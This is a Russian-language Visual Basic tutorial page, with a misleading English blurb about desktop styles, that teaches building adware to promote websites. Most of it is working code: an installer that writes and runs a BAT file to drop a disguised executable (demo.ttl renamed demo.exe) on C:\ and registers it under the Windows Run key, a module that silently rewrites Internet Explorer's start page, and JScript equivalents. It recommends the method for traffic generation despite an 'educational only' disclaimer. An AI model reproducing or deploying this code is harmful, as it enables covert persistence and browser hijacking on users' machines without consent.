|
 Visual Basic programmers are offered guidelines to develop code for automatic change of Windows Desktop styles. The guide provide step-by-step instructions to develop an installer, a wallpaper handling module, as well as discuss the program's possible applications - in particular, for Web promotion. The guidelines are designed for entry-level programmers... Download Free Full Guide [ Free Tutorial ] [ Wallpapers ]
Внимание! Все листинги программ приведены здесь исключительно в образовательных и исследовательских целях. Использование их для причинения вреда категорически запрещено. Нарушая эти условия, Вы целиком принимаете ответственность на себя! |
||
| Могущество Visual Basic - для раскрутки web-сайтов Установка стартовой страницы web-броузера выполняется с использованием функций, работающих с реестром Windows. В качестве средства может быть использован скрипт или программа, например, на Visual Basic. Предыстория. Однажды я встретил web сайт, на котором было выложено некоторое количество привлекательного софта. Причем ассортимент был очень хорош - и MP3 плееры и DVD-проигрыватели, и почтовые программы и т.д., причем свежих версий и без ограничений. Скачал с этого сайта несколько нужных вещей. Попробовал инсталлировать. Все до одной программы под разными предлогами отказались устанавливаться - то ошибки, то голая форма на экране и никаких надписей, то просто ничего. Ну нет, так нет. Наплевал и забыл. Но обратил внимание, что когда утром приходя на работу включал компьютер и лез в Интернет, то чуть ли не через раз в качестве стартовой страницы сайта в IExplorer-е что-то уже стояло и успевало загрузиться. Посмотрел дистрибутивы и заметил, что все они содержали некую добавку одинаковой длины и с одинаковым названием файла. Поискал на диске и нашел ее же на диске C:/ только уже этот файл (все коды абсолютно совпадали) был EXE. Полез в реестр Windows и нашел там ссылку из автозагрузки. Т.е. получалось, что при старте Windows эта программка запускалась и иногда прописывала в реестре-же Windows адрес стартовой страницы сайта для Микрософт Эксплорера. Т.е. если комп не перезагружать, то ничего досаждать не должно. Почистил реестр утилитой Систем Механика и все прошло. Но технология меня заинтересовала. Ее можно использовать для Adware. Только настоятельно рекомендую ограничить использование такой технологии и обязательно предупреждать пользователей о ее использовании в своих программах. Обязательно ограничивайте количество срабатываний таких функций. Меня начало раздражать уже третье-четвертое посещение web сайта. Этот тип программного обеспечения имеет колоссальную эффективность. Даже при скачивании 10 экземпляров программы в день, в месяц это даст примерно 300 уникальных IP, которые будут «посещать» прописанный web сайт так часто, как это будет угодно программисту на Visual Basic (или Delphi). Ниже приведен листинг программы, позволяющий выполнять следующие действия: 1. - создавать на диске в текущем каталоге BAT файл setup.bat, в который пишутся команды копирования модуля demo.ttl на диск C:\ , переименования demo.ttl в demo.exe 2. - запускать BAT файл для исполнения 3. - создавать в реестре Windows XP в разделе автозагрузки программ запись Demo REG_SZ C:\demo.exe (см. скриншот) |
||
|
|
:: Скачать полное описание в формате MS Word. [ 49 страниц, 1 Mbyte. ] :: Дополнительно [ 219 Kbyte. ] :: |
Листинг на Visual Basic(2-е программы: инсталлятор и загрузчик адреса в IE). 1. Инсталлятор - размещает модуль и делает запись в реестре Private Sub Form_Activate() AutoSet ' Сделать запись в реестре Windows XP (см. далее) '----------------------------- 'Создать BAT-файл для копирования и переименования загружаемого модуля indx = 1 Str1(0) = "copy demo.ttl c:\demo.ttl" 'Скопировать модуль на диск C:\ Str1(1) = "c:" Str1(2) = "cd c:\" Str1(3) = "ren demo.ttl demo.exe" 'Переименовать модуль в EXE For i = 0 To 3 Str1(i) = Str1(i) + Chr$(13) + Chr$(10) Open "setup.bat" For Binary As #1 Len = Len(Str1(i)) Put #1, indx, Str1(i) 'Записать BAT-файл надиск indx = indx + Len(Str1(i)) 'Номер следующей записи Close #1 Next i Shell ("setup.bat") 'Запустить BAT-файл на исполнение End Sub Private Sub AutoSet() 'Создать запись в реестре Windows XP для запуска модуля при старте Windows LSkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ' АВТОЗАГРУЗКА secattr.nLength = Len(secattr) ' size of the structure secattr.lpSecurityDescriptor = 0 ' default security level secattr.bInheritHandle = True ' the default value for this setting '-------------------------------------------------------- retval = RegCreateKeyEx(HKEY_LOCAL_MACHINE, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused) If retval <> 0 Then ' error during open Debug.Print "Error opening or creating registry key -- aborting." End ' terminate the program End If stringbuffer = "C:\demo.exe" & vbNullChar ' Путь, где располагается модуль (после исполнения BAT-файла) retval = RegSetValueEx(hregkey, "Demo", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) ' write the string ' Close the registry key retval = RegCloseKey(hregkey) '----------------------------- End Sub ** Программа может правильно работать только в откомпилированном варианте. Полный листинг программы прилагается к полному описанию - файл IE-Start-Page.zip |
| 2. Модуль, загружаемый при старте Windows, выставляет адрес сайта для IE Листинг загружаемого модуля Demo.exe. Загружаемый модуль не представляет собой ничего особенного - просто небольшая программа, в данном случае, проверяющая дату и устанавливающая стартовую страницу Internet Explorer , например, на сайт с развлечениями. Private Sub Form_Load() rundate = Date 'Получить ДАТУ на компьютере Form1.Caption = Mid(rundate, 1, 2) 'Выделить из даты ЧИСЛО месяца и написать его в заголовок для отладки ls = "Software\Microsoft\Internet Explorer\Main" address = "http://www.privet.com" 'Адрес стартовой страницы, к примеру '' '' If Mid(rundate, 1, 2) = "30" Then 'Т.е. записывать стартовую страницу IE каждое 30-е число каждого месяца ' Записать в реестрWindows XP LSkey = "Software\Microsoft\Internet Explorer\Main" 'Стартовая страница для IE retval = RegCreateKeyEx(HKEY_CURRENT_USER, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused) If retval <> 0 Then ' error during open Debug.Print "Error opening or creating registry key -- aborting." End ' terminate the program End If stringbuffer = address & vbNullChar ' note how a null character must be appended to the string retval = RegSetValueEx(hregkey, "Start Page", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) ' write the string ' Close the registry key retval = RegCloseKey(hregkey) End If End 'Выйти из программы End Sub Этот модуль после компиляции достаточно переименовать в demo.ttl и можно тренироваться. |
||
| Описание проектов VB Для работы с листингами нужно создать в VB два простых проекта 
- для каждого из листингов.  Приведенные исходные коды включить в Form1.Load или Form1.Activate , откомпилировать.  Форму можно сделать неотображаемой в TaskBar  Для работы каждой из программ потребуется еще модуль. Его нужно включить так, как показано на рисунке:    В результате работы в реестре Windows появится новая запись:  где C:\demo.exe - модуль (второй листинг), который будет подгружаться каждый раз при старте Windows и проверять текущую системную дату. Если дата совпадает с установленной в программке demo.exe , то в качестве стартовой страницы сайта для Internet Explorer будет прописан сайт www.privet.com И если теперь запустить Интернет Эксплорер, то этот сайт будет сразу загружен. Для удаления записи автозагрузки модуля demo.exe следует использовать тот же листинг на Visual Basic, но с "пустой" записью имени запускаемой программы. Либо использовать следующий JAVA script (текстовый файл с расширением .js , например clear.js): var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.Popup("Снимаем Автозагрузку"); WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Demo", ""); Достаточно просто создать такой файл и исполнить его. Вместо модуля demo.exe можно использовать такой же JAVA script (здесь приведен без проверки даты): var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.Popup("Стартовая страница"); WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.privet.com"); Скачать этот скрипт set-www-page.zip Скачать 1-й проект на Visual Basic ie-start-page.zip Скачать 2-й проект на Visual Basic demo-exe-code.zip Описанная технология является одним из самых мощных рекламных средств, уже используемых для рекламы веб сайтов, товаров и услуг. Существуют иностранные web-серверы, на которых можно оформить заказ на разработку подобных программ. Цена за программу - от 30$-200$ и более. Visual Basic как правило не использовался для таких программ. Основной причиной была необходимость использования громоздкой динамической библиотеки. Однако, в Windows 2000 и Windows XP такая библиотека не нужна - поддержка необходимых вызовов включена в состав операционной системы. Таким образом необходимый код становится очень маленьким. Есть и другие варианты. Например, встречаются автоматически инсталлируемые Proxy-серверы. Такие прокси-серверы, незаметно устанавливаясь на компьютере, через реестр Windows меняют сетевые настройки Internet Explorer и осуществляют скрытую фильтрацию Internet-трафика. При этом подменяют URL некоторых ссылок на загружаемой пользователем веб странице, на свой. Таким образом можно управлять качественным трафиком или просмотром контекстной рекламы. Приведенные программы относятся к классу программ ADWARE - т.е. программ с включенной рекламой. Описание и особенности этого типа программ легко найти в интернете. Внимание! Все листинги программ приведены здесь исключительно в образовательных и исследовательских целях. Использование их для причинения вреда категорически запрещено. Нарушая эти условия, Вы целиком принимаете ответственность на себя! Документацию для программистов и листинги можно скачать здесь: Вебсайт на PHP Рекламное программирование на VB Вебдизайн. Документация. Карточные игры Пишем прокси на VB Английский язык Free tutorials download Курсы английского TCP/IP in Visual Basic Бесплатные сайты Веб сайты Скачать бесплатно Английский Раскрутка сайтов Мебель Готовые сайты Раскрутка Free VB ebook Visual Basic Barbie Шаблоны сайтов Free game |
||
| Скачать руководство :: Карточные игры :: Прединсталлятор :: Следующая версия |
